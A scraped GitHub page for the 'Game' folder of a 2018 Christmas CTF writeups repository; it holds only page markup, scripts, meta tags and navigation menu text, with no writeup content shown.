src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>XmasCtf2018Writeups/Game at master · serega6531/XmasCtf2018Writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="D7DD:76EE:1CD8F648:1DB68AB8:6412255D" data-pjax-transient="true"/><meta name="html-safe-nonce" content="3c43d454eef2e3132949cf7f8b307b818f462b328bc2069372797ad348d52dc8" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEN0REOjc2RUU6MUNEOEY2NDg6MURCNjhBQjg6NjQxMjI1NUQiLCJ2aXNpdG9yX2lkIjoiNjc2NTE0ODA5OTM3MzU3MzQ2OSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="6ea3f5b98cbdbf09ce3066c4efe6a476d73ad5efbc2dc815af66add85957c0f1" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162837579" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e062d5290d63086d1dce57cea038e592a12643ca84c5ac5cd41cf88403f29208/serega6531/XmasCtf2018Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="XmasCtf2018Writeups/Game at master · serega6531/XmasCtf2018Writeups" /><meta name="twitter:description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e062d5290d63086d1dce57cea038e592a12643ca84c5ac5cd41cf88403f29208/serega6531/XmasCtf2018Writeups" /><meta property="og:image:alt" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="XmasCtf2018Writeups/Game at master · serega6531/XmasCtf2018Writeups" /><meta property="og:url" content="https://github.com/serega6531/XmasCtf2018Writeups" /><meta property="og:description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/serega6531/XmasCtf2018Writeups git https://github.com/serega6531/XmasCtf2018Writeups.git"> <meta name="octolytics-dimension-user_id" content="4551398" /><meta name="octolytics-dimension-user_login" content="serega6531" /><meta name="octolytics-dimension-repository_id" content="162837579" /><meta name="octolytics-dimension-repository_nwo" content="serega6531/XmasCtf2018Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162837579" /><meta name="octolytics-dimension-repository_network_root_nwo" content="serega6531/XmasCtf2018Writeups" /> <link rel="canonical" href="https://github.com/serega6531/XmasCtf2018Writeups/tree/master/Game" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 